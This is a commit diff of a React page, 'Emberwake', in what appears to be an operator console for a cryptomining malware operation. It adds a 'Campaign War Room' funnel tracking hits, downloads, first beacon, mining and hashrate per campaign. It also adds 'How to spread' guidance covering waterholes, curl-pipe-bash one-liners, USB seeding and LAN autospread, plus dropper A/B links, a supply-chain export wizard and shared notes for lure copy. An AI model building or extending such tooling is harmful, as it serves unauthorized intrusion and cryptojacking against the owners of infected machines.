feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
@@ -8,9 +8,23 @@ import {
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
spreadTechniqueDocUrl,
|
||||
} from '../help/spreadTechniques';
|
||||
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
|
||||
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
|
||||
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
|
||||
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
@@ -27,8 +41,14 @@ function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
);
|
||||
}
|
||||
|
||||
const NOTES_TYPING_DEBOUNCE_MS = 400;
|
||||
const NOTES_TYPING_IDLE_MS = 2000;
|
||||
const WAR_ROOM_DAYS = 7;
|
||||
const WAR_ROOM_POLL_MS = 15_000;
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const { notesTyping, sendNotesTyping } = usePresence();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
@@ -37,30 +57,41 @@ export default function EmberwakePage() {
|
||||
const [pinB, setPinB] = useState('');
|
||||
const [notes, setNotes] = useState('');
|
||||
const [notesMeta, setNotesMeta] = useState('');
|
||||
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
|
||||
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
|
||||
const [warRoomUpdated, setWarRoomUpdated] = useState('');
|
||||
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
|
||||
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [siteName, setSiteName] = useState('my-blog');
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const typingActiveRef = useRef(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const loadWarRoom = useCallback(async () => {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
}, []);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
const [b, info, cfg, pub, camp, n] = await Promise.all([
|
||||
const [b, info, cfg, pub, n] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
api.listPublicBuilds(),
|
||||
api.listCampaignHits(),
|
||||
api.getEmberwakeNotes(),
|
||||
]);
|
||||
setBuilds(b);
|
||||
const pubUrl = cfg.server?.public_url?.trim();
|
||||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
setPublicBuilds(pub.builds);
|
||||
setCampaigns(camp.campaigns);
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
void loadWarRoom().catch(() => {});
|
||||
if (!pinA) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
@@ -69,22 +100,83 @@ export default function EmberwakePage() {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB]);
|
||||
}, [pinA, pinB, loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (latestMessage?.type !== 'emberwake_notes_updated') return;
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
const id = window.setInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
return () => window.clearInterval(id);
|
||||
}, [loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'emberwake_notes_updated') {
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (latestMessage.type === 'emberwake_war_room') {
|
||||
const p = latestMessage.payload as WarRoomResponse;
|
||||
if (p && Array.isArray(p.campaigns)) {
|
||||
setWarRoom(p);
|
||||
setWarRoomUpdated(p.generated_at || new Date().toISOString());
|
||||
}
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
const stopNotesTyping = useCallback(() => {
|
||||
if (typingTimerRef.current) {
|
||||
clearTimeout(typingTimerRef.current);
|
||||
typingTimerRef.current = null;
|
||||
}
|
||||
if (typingActiveRef.current) {
|
||||
typingActiveRef.current = false;
|
||||
sendNotesTyping(false);
|
||||
}
|
||||
}, [sendNotesTyping]);
|
||||
|
||||
const handleNotesChange = (value: string) => {
|
||||
setNotes(value);
|
||||
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
|
||||
typingTimerRef.current = setTimeout(() => {
|
||||
if (!typingActiveRef.current) {
|
||||
typingActiveRef.current = true;
|
||||
sendNotesTyping(true);
|
||||
}
|
||||
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
|
||||
}, NOTES_TYPING_DEBOUNCE_MS);
|
||||
};
|
||||
|
||||
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
|
||||
|
||||
const handleConstellationSelect = useCallback((slug: string) => {
|
||||
setHighlightedCampaign(slug);
|
||||
setWarRoomView('funnel');
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
|
||||
const t = window.setTimeout(() => {
|
||||
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
|
||||
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
|
||||
}, 80);
|
||||
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
|
||||
return () => {
|
||||
window.clearTimeout(t);
|
||||
window.clearTimeout(clear);
|
||||
};
|
||||
}, [warRoomView, highlightedCampaign]);
|
||||
|
||||
const saveNotes = async () => {
|
||||
stopNotesTyping();
|
||||
setNotesBusy(true);
|
||||
try {
|
||||
const n = await api.putEmberwakeNotes(notes);
|
||||
@@ -108,7 +200,7 @@ export default function EmberwakePage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page emberwake-page">
|
||||
<div className="page emberwake-page operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
@@ -119,18 +211,32 @@ export default function EmberwakePage() {
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="spread-section spread-section--ember">
|
||||
<AlsoHere page="/emberwake" />
|
||||
|
||||
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
|
||||
<h3>How to spread</h3>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
|
||||
<li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
|
||||
<li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
|
||||
<li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
|
||||
<li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
|
||||
<li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Operator instructions (no login):{' '}
|
||||
<a href="/spread/">Spread kit landing</a>
|
||||
{' · '}
|
||||
Full threat-intel matrix:{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
SPREAD_TECHNIQUES.md
|
||||
</a>
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.label}>
|
||||
<strong>{t.label}</strong> — {t.hint}{' '}
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
playbook §
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="card" style={{ marginBottom: '1rem' }}>
|
||||
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
@@ -177,9 +283,13 @@ export default function EmberwakePage() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan">
|
||||
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
|
||||
<p className="form-hint">
|
||||
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
|
||||
{' '}
|
||||
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
|
||||
</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
@@ -188,7 +298,19 @@ export default function EmberwakePage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--gold">
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
|
||||
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
@@ -205,28 +327,194 @@ export default function EmberwakePage() {
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{campaigns.length > 0 && (
|
||||
<div className="spread-section spread-section--violet">
|
||||
<h3>Campaign hits</h3>
|
||||
<ul className="emberwake-campaign-list">
|
||||
{campaigns.map((c) => (
|
||||
<li key={c.campaign}>
|
||||
<span><code>{c.campaign}</code></span>
|
||||
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div
|
||||
id="campaign-war-room"
|
||||
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
|
||||
>
|
||||
<h3>Campaign War Room</h3>
|
||||
<div className="war-room-toolbar">
|
||||
<span>
|
||||
Live funnel — hits → downloads → first beacon → mining → hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
|
||||
</span>
|
||||
<div className="war-room-toolbar-right">
|
||||
<div className="war-room-view-toggle" role="group" aria-label="War room view">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('funnel')}
|
||||
>
|
||||
Funnel board
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('table')}
|
||||
>
|
||||
Stats table
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setWarRoomView('constellations')}
|
||||
>
|
||||
Constellations
|
||||
</button>
|
||||
</div>
|
||||
<span>
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{warRoom && warRoom.campaigns.length > 0 ? (
|
||||
warRoomView === 'constellations' ? (
|
||||
<CampaignConstellations
|
||||
campaigns={warRoom.campaigns}
|
||||
onSelectCampaign={handleConstellationSelect}
|
||||
/>
|
||||
) : warRoomView === 'funnel' ? (
|
||||
<WarRoomFunnelBoard
|
||||
campaigns={warRoom.campaigns}
|
||||
days={warRoom.days || WAR_ROOM_DAYS}
|
||||
refreshKey={warRoomUpdated}
|
||||
highlightCampaign={highlightedCampaign}
|
||||
/>
|
||||
) : (
|
||||
<div className="war-room-table-wrap">
|
||||
<table className="war-room-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Campaign</th>
|
||||
<th>Hits</th>
|
||||
<th>Downloads</th>
|
||||
<th>Beacon</th>
|
||||
<th>Mining</th>
|
||||
<th>Agents</th>
|
||||
<th>Online</th>
|
||||
<th>Hashrate</th>
|
||||
<th>Conv %</th>
|
||||
<th>7d trend</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{warRoom.campaigns.map((c, rowIndex) => {
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const beacon = c.first_beacon ?? c.agents;
|
||||
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
|
||||
return (
|
||||
<tr key={c.campaign}>
|
||||
<td>
|
||||
<code>{c.campaign}</code>
|
||||
{c.last_activity ? (
|
||||
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
|
||||
{new Date(c.last_activity).toLocaleDateString()}
|
||||
</span>
|
||||
) : null}
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.hits}
|
||||
staggerMs={staggerDelayMs(rowIndex, 0)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.downloads}
|
||||
staggerMs={staggerDelayMs(rowIndex, 1)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={beacon}
|
||||
staggerMs={staggerDelayMs(rowIndex, 2)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={mining}
|
||||
staggerMs={staggerDelayMs(rowIndex, 3)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.agents}
|
||||
staggerMs={staggerDelayMs(rowIndex, 4)}
|
||||
/>
|
||||
</td>
|
||||
<td className="war-room-online">
|
||||
<WarRoomOdometer
|
||||
value={c.online}
|
||||
staggerMs={staggerDelayMs(rowIndex, 5)}
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<WarRoomOdometer
|
||||
value={c.hashrate}
|
||||
format={(n) => formatHashrate(n)}
|
||||
staggerMs={staggerDelayMs(rowIndex, 6)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td className="war-room-conv">
|
||||
<WarRoomOdometer
|
||||
value={c.conversion_pct}
|
||||
format={(n) => n.toFixed(1)}
|
||||
suffix="%"
|
||||
staggerMs={staggerDelayMs(rowIndex, 7)}
|
||||
showDelta
|
||||
/>
|
||||
</td>
|
||||
<td>
|
||||
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
|
||||
{c.daily_hits.map((v, i) => (
|
||||
<span
|
||||
key={i}
|
||||
style={{ height: `${sparklineBarHeight(v, max)}%` }}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
})}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
) : (
|
||||
<p className="war-room-empty">
|
||||
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="card">
|
||||
<div className="card operator-deck-card operator-interactive">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
{notesTyping?.active && (
|
||||
<div className="emberwake-typing-banner" role="status">
|
||||
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
|
||||
<span className="emberwake-typing-body">
|
||||
<strong>{notesTyping.user}</strong> is editing notes
|
||||
<span className="typing-dots" aria-hidden>
|
||||
<span />
|
||||
<span />
|
||||
<span />
|
||||
</span>
|
||||
<span className="emberwake-typing-cursor" aria-hidden />
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<textarea
|
||||
className="input emberwake-notes"
|
||||
rows={6}
|
||||
value={notes}
|
||||
onChange={(e) => setNotes(e.target.value)}
|
||||
onChange={(e) => handleNotesChange(e.target.value)}
|
||||
onBlur={() => stopNotesTyping()}
|
||||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
|
||||
Reference in New Issue
Block a user